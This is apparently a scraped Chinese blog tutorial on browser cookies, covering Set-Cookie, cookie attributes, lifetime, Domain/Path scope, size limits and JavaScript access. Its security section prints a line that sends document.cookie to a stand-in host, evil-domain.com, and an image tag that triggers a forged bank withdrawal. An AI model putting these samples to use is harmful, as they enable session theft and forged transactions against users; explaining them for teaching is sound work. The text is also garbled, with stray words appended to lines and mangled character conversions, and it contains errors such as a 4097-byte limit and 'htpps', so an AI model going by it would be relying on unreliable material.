前端存儲 (1) -- Cookie

目錄

  • 建立
  • 組成
  • 生命週期
  • 做用域
  • 存儲大小

建立Cookie

當服務器收到HTTP請求時,服務器能夠在響應頭裏面添加一個Set-Cookie選項。
瀏覽器收到響應後一般會保存下Cookie,
以後對該服務器每一次請求中都經過Cookie請求頭部將Cookie信息發送給服務器。
另外,Cookie的過時時間、域、路徑、有效期、適用站點均可以根據須要來指定。javascript

服務器使用Set-Cookie響應頭部向用戶代理(通常是瀏覽器)發送Cookie信息。一個簡單的Cookie可能像這樣:php

Set-Cookie: <cookie名>=<cookie值>
  response.setHeader('Set-Cookie', ['type=ninja','username=123qad', 'language=javascript']);

組成

  • Name
  • Value
  • Domain
  • Path
  • Expires/ Max-Age 過時時間
  • Size
  • Http
  • Secure 是否加密,標記爲Secure 只會經過 htpps 協議傳輸, http 是不能設置的
  • SameSite

組成java

生命週期

默認是瀏覽器關閉就清掉, 通常會設置 指定過時時間(Expires)或者有效期(Max-Age)
須要注意的是,有些瀏覽器提供了會話恢復功能,這種狀況下即便關閉了瀏覽器,會話期Cookie也會被保留下來,就好像瀏覽器歷來沒有關閉同樣。瀏覽器

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

做用域

Domain (域名)和 Path 標識定義了Cookie的做用域:即Cookie應該發送給哪些URL。安全

Cookie 的Domain 屬性能夠設置 Cookie 發送哪些 url,默認是在當前域名下,但有時候咱們可能幾個站點想共享Cookie 信息
比方 qq空間(qq.tentxun.com)登錄了,我想點進 qq 郵箱(mail.tenxun.com), 那要是再登錄一次,用戶爸爸確定受不了,因此經過設置
cookie 的 domain 爲 ".tenxun.com",從 qq空間點擊連接 進入 qq 郵箱, qq郵箱 經過 cookie 信息,獲取用戶信息,就能夠不用再次登錄了服務器

若是設置 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。cookie

存儲大小

4097個字節, 多了瀏覽器會默默刪掉dom

javascript 訪問 Cookie

var cookie = document.cookie;
 document.cookie = "username=tt";

安全問題

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;加密

<img src="http://bank.example.com/withd...;amount=1000000&for=mallory">url

相關文章
相關標籤/搜索